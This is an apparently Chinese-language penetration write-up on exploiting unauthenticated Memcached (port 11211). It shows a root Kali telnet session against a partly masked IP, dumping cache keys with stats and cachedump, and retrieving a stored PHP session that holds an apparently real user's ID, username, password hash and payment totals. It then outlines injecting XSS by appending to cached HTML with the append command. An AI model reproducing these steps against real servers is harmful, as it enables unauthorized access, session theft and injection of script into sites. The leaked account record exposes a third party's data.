root@kali:/home/buxuan/go-derper# telnet 12x.13x.xx.xxx 11211 Trying 12x.13x.xx.xx... Connected to 12x.13x.xx.xxx. Escape character is '^]'. 说明漏洞存在 1:在内存中获取敏感信息 stats items //获取所有内存中的KEY STAT items:11:number 2 STAT items:11:age 81 STAT items:11:evicted 0 STAT items:11:evicted_nonzero 0 STAT items:11:evicted_time 0 STAT items:11:outofmemory 0 STAT items:11:tailrepairs 0 STAT items:11:reclaimed 1639 STAT items:11:expired_unfetched 142 STAT items:11:evicted_unfetched 0 END 接下来基于列出的items id 命令 stats cachedump items 0 //0表示获取所有的内容 stats cachedump 40 0 ITEM bWNfZGZfbmdzZGtfXzNrX2ZhaWxkYXRh [512447 b; 1484136213 s] END 接下来就用get命令查找对应的session值 get fe3550f558a77ab045ee6b2fa253e4fc VALUE fe3550f558a77ab045ee6b2fa253e4fc 1 1356 a:52:{s:7:"user_id";s:8:"26897900";s:5:"email";s:0:"";s:6:"passwd";s:40:"7c4a8d09ca3762af61e59520943dc26494f8941b";s:12:"passwd_level";s:1:"1";s:9:"user_name";s:10:"k276107224";s:8:"is_login";s:1:"1";s:5:"phone";s:0:"";s:6:"mobile";s:14:"A000002C8F8FF6";s:6:"reg_ip";s:9:"975367684";s:8:"reg_time";s:10:"1444994053";s:10:"last_login";s:10:"1484085336";s:7:"last_ip";s:9:"975367684";s:17:"first_charge_time";s:10:"1454458538";s:16:"last_charge_time";s:10:"1473592187";s:12:"charge_today";s:1:"0";s:12:"charge_total";s:5:"11400";s:12:"charge_count";s:2:"11";s:7:"safe_aq";s:0:"";s:16:"safe_verify_time";s:1:"0";s:12:"super_passwd";N;s:12:"real_certify";s:1:"0";s:12:"email_verify";s:1:"0";s:13:"idcard_verify";s:1:"0";s:4:"name";s:0:"";s:8:"nickname";s:0:"";s:9:"signature";s:0:"";s:4:"face";s:0:"";s:8:"face_tmp";s:0:"";s:9:"figureurl";s:0:"";s:3:"sex";s:0:"";s:7:"marital";s:1:"0";s:6:"height";s:0:"";s:6:"weight";s:0:"";s:8:"birthday";s:10:"1980-01-01";s:6:"idcard";s:0:"";s:2:"qq";s:0:"";s:7:"website";s:0:"";s:7:"address";s:0:"";s:7:"country";s:1:"0";s:8:"province";s:1:"0";s:4:"city";s:1:"0";s:4:"area";s:1:"0";s:8:"timezone";s:0:"";s:11:"verify_info";N;s:5:"score";s:1:"0";s:9:"reg_canal";s:4:"5592";s:6:"isauto";s:1:"1";s:11:"login_total";s:1:"0";s:12:"charge_limit";s:1:"0";s:10:"occupation";s:0:"";s:6:"old_id";s:8:"24623803";s:6:"bbs_id";s:1:"0";} END
重复循环这个,在里面寻找缓存的用户信息,这里读取的密码是加密的。
2:通过修改缓存中的htnl 构造XSS
memcached 中的 append 命令的基本语法格式如下:
append key flags exptime bytes [noreply] value
参数说明如下:
- key:键值 key-value 结构中的 key,用于查找缓存值。
- flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
- exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
- bytes:在缓存中存储的字节数
- noreply(可选): 该参数告知服务器不需要返回数据
- value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)
-
实例如下:
- 首先我们在 Memcached 中存储一个键 runoob,其值为 memcached。
- 然后,我们使用 get 命令检索该值。
- 然后,我们使用 append 命令在键为 runoob 的值后面追加 "redis"。
- 最后,我们再使用 get 命令检索该值。
set runoob 0 900 9 memcached STORED get runoob VALUE runoob 0 9 memcached END append runoob 0 900 5 redis STORED get runoob VALUE runoob 0 14 memcachedredis END
输出
如果数据添加成功,则输出:
STORED
输出信息说明:
- STORED:保存成功后输出。
- NOT_STORED:该键在 Memcached 上不存在。
- CLIENT_ERROR:执行错误。
-
- 具体内容那个可以查找 http://blog.nsfocus.net/memcache-unauthorized-access-exploit/